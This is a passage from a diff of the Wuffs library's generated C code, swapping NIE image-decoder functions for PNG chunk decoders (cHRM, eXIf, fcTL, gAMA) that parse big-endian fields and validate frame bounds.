WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_u = t_3; + } +- } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_nie__decoder* +-wuffs_nie__decoder__alloc(void) { +- wuffs_nie__decoder* x = +- (wuffs_nie__decoder*)(calloc(sizeof(wuffs_nie__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_nie__decoder__initialize( +- x, sizeof(wuffs_nie__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_nie__decoder(void) { +- return sizeof(wuffs_nie__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func nie.decoder.get_quirk ++ self->private_impl.f_metadata_y |= ((16777215u & v_u) << 8u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint64_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 24) { ++ t_4 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_u = t_4; ++ } ++ self->private_impl.f_metadata_y |= ((16777215u & v_u) << 32u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ uint64_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_5 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 24) { ++ t_5 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_u = t_5; ++ } ++ self->private_impl.f_metadata_y |= ((uint64_t)((16777215u & v_u) << 56u)); ++ self->private_impl.f_metadata_z |= ((16777215u & v_u) >> 8u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint64_t t_6; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_6 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); ++ if (num_bits_6 == 24) { ++ t_6 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)); ++ } ++ } ++ v_u = t_6; ++ } ++ self->private_impl.f_metadata_z |= ((16777215u & v_u) << 16u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ uint64_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_7); ++ if (num_bits_7 == 24) { ++ t_7 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)); ++ } ++ } ++ v_u = t_7; ++ } ++ self->private_impl.f_metadata_z |= ((16777215u & v_u) << 40u); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__get_quirk( +- const wuffs_nie__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ goto ok; ++ ok: ++ self->private_impl.p_decode_chrm = 0; ++ goto exit; + } + +- return 0u; +-} +- +-// -------- func nie.decoder.set_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_chrm = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__set_quirk( +- wuffs_nie__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return status; + } + +-// -------- func nie.decoder.decode_image_config ++// -------- func png.decoder.decode_exif + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_image_config( +- wuffs_nie__decoder* self, +- wuffs_base__image_config* a_dst, ++static wuffs_base__status ++wuffs_png__decoder__decode_exif( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ if (self->private_impl.f_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } ++ self->private_impl.f_metadata_flavor = 3u; ++ self->private_impl.f_metadata_fourcc = 1163413830u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_metadata_z = wuffs_base__u64__sat_add(self->private_impl.f_metadata_y, ((uint64_t)(self->private_impl.f_chunk_length))); ++ self->private_impl.f_chunk_length = 0u; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- ++ goto ok; ++ ok: + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func nie.decoder.do_decode_image_config ++// -------- func png.decoder.decode_fctl + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_nie__decoder__do_decode_image_config( +- wuffs_nie__decoder* self, +- wuffs_base__image_config* a_dst, ++wuffs_png__decoder__decode_fctl( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_a = 0; ++ uint32_t v_x0 = 0; ++ uint32_t v_y0 = 0; ++ uint32_t v_x1 = 0; ++ uint32_t v_y1 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -51075,185 +64112,309 @@ wuffs_nie__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_fctl; ++ if (coro_susp_point) { ++ v_x0 = self->private_data.s_decode_fctl.v_x0; ++ v_x1 = self->private_data.s_decode_fctl.v_x1; ++ v_y1 = self->private_data.s_decode_fctl.v_y1; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ if (self->private_impl.f_chunk_length != 26u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } ++ self->private_impl.f_chunk_length = 0u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + uint32_t t_0; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); + if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch)); ++ t_0 = ((uint32_t)(*scratch >> 32)); + break; + } + num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ *scratch |= ((uint64_t)(num_bits_0)); + } + } +- v_a = t_0; ++ v_x0 = t_0; + } +- if (v_a != 1169146734u) { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ if (v_x0 != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); + goto exit; + } ++ self->private_impl.f_next_animation_seq_num += 1u; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + uint32_t t_1; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); + if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); ++ t_1 = ((uint32_t)(*scratch >> 32)); + break; + } + num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ *scratch |= ((uint64_t)(num_bits_1)); + } + } +- v_a = t_1; +- } +- if (v_a == 879649535u) { +- self->private_impl.f_pixfmt = 2164295816u; +- } else if (v_a == 946758399u) { +- self->private_impl.f_pixfmt = 2164308923u; +- } else if (v_a == 879780607u) { +- status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); +- goto exit; +- } else if (v_a == 946889471u) { +- status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); +- goto exit; ++ v_x1 = t_1; + } + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); + uint32_t t_2; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); + if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); ++ t_2 = ((uint32_t)(*scratch >> 32)); + break; + } + num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ *scratch |= ((uint64_t)(num_bits_2)); + } + } +- v_a = t_2; +- } +- if (v_a > 2147483647u) { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); +- goto exit; +- } else if (v_a > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; ++ v_y1 = t_2; + } +- self->private_impl.f_width = v_a; + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); + uint32_t t_3; + if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); + iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; ++ self->private_data.s_decode_fctl.scratch = 0; + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_x0 = t_3; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_fctl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 24) { ++ t_4 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_y0 = t_4; ++ } ++ v_x1 += v_x0; ++ v_y1 += v_y0; ++ if ((v_x0 >= v_x1) || ++ (v_x0 > self->private_impl.f_width) || ++ (v_x1 > self->private_impl.f_width) || ++ (v_y0 >= v_y1) || ++ (v_y0 > self->private_impl.f_height) || ++ (v_y1 > self->private_impl.f_height)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_frame_rect_x0 = v_x0; ++ self->private_impl.f_frame_rect_y0 = v_y0; ++ self->private_impl.f_frame_rect_x1 = v_x1; ++ self->private_impl.f_frame_rect_y1 = v_y1; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_fctl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; + *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 8) { ++ t_5 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_x0 = t_5; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint32_t t_6; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_decode_fctl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch)); ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch >> 48)); + break; + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)); + } + } +- v_a = t_3; ++ v_x1 = t_6; + } +- if (v_a > 2147483647u) { +- status = wuffs_base__make_status(wuffs_nie__error__bad_header); ++ if (v_x1 <= 0u) { ++ self->private_impl.f_frame_duration = (((uint64_t)(v_x0)) * 7056000u); ++ } else { ++ self->private_impl.f_frame_duration = ((((uint64_t)(v_x0)) * 705600000u) / ((uint64_t)(v_x1))); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_7 = *iop_a_src++; ++ v_x0 = t_7; ++ } ++ if (v_x0 == 0u) { ++ self->private_impl.f_frame_disposal = 0u; ++ } else if (v_x0 == 1u) { ++ self->private_impl.f_frame_disposal = 1u; ++ } else if (v_x0 == 2u) { ++ self->private_impl.f_frame_disposal = 2u; ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; +- } else if (v_a > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_8 = *iop_a_src++; ++ v_x0 = t_8; ++ } ++ if (v_x0 == 0u) { ++ self->private_impl.f_frame_overwrite_instead_of_blend = true; ++ } else if (v_x0 == 1u) { ++ self->private_impl.f_frame_overwrite_instead_of_blend = false; ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); + goto exit; + } +- self->private_impl.f_height = v_a; +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- 16u, +- false); ++ if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { ++ self->private_impl.f_first_rect_x0 = self->private_impl.f_frame_rect_x0; ++ self->private_impl.f_first_rect_y0 = self->private_impl.f_frame_rect_y0; ++ self->private_impl.f_first_rect_x1 = self->private_impl.f_frame_rect_x1; ++ self->private_impl.f_first_rect_y1 = self->private_impl.f_frame_rect_y1; ++ self->private_impl.f_first_duration = self->private_impl.f_frame_duration; ++ self->private_impl.f_first_disposal = self->private_impl.f_frame_disposal; ++ self->private_impl.f_first_overwrite_instead_of_blend = self->private_impl.f_frame_overwrite_instead_of_blend; + } +- self->private_impl.f_call_sequence = 32u; + + goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_decode_fctl = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_fctl = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_fctl.v_x0 = v_x0; ++ self->private_data.s_decode_fctl.v_x1 = v_x1; ++ self->private_data.s_decode_fctl.v_y1 = v_y1; + + goto exit; + exit: +@@ -51264,82 +64425,99 @@ wuffs_nie__decoder__do_decode_image_config( + return status; + } + +-// -------- func nie.decoder.decode_frame_config ++// -------- func png.decoder.decode_gama + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__decode_frame_config( +- wuffs_nie__decoder* self, +- wuffs_base__frame_config* a_dst, ++static wuffs_base__status ++wuffs_png__decoder__decode_gama( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_gama; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && 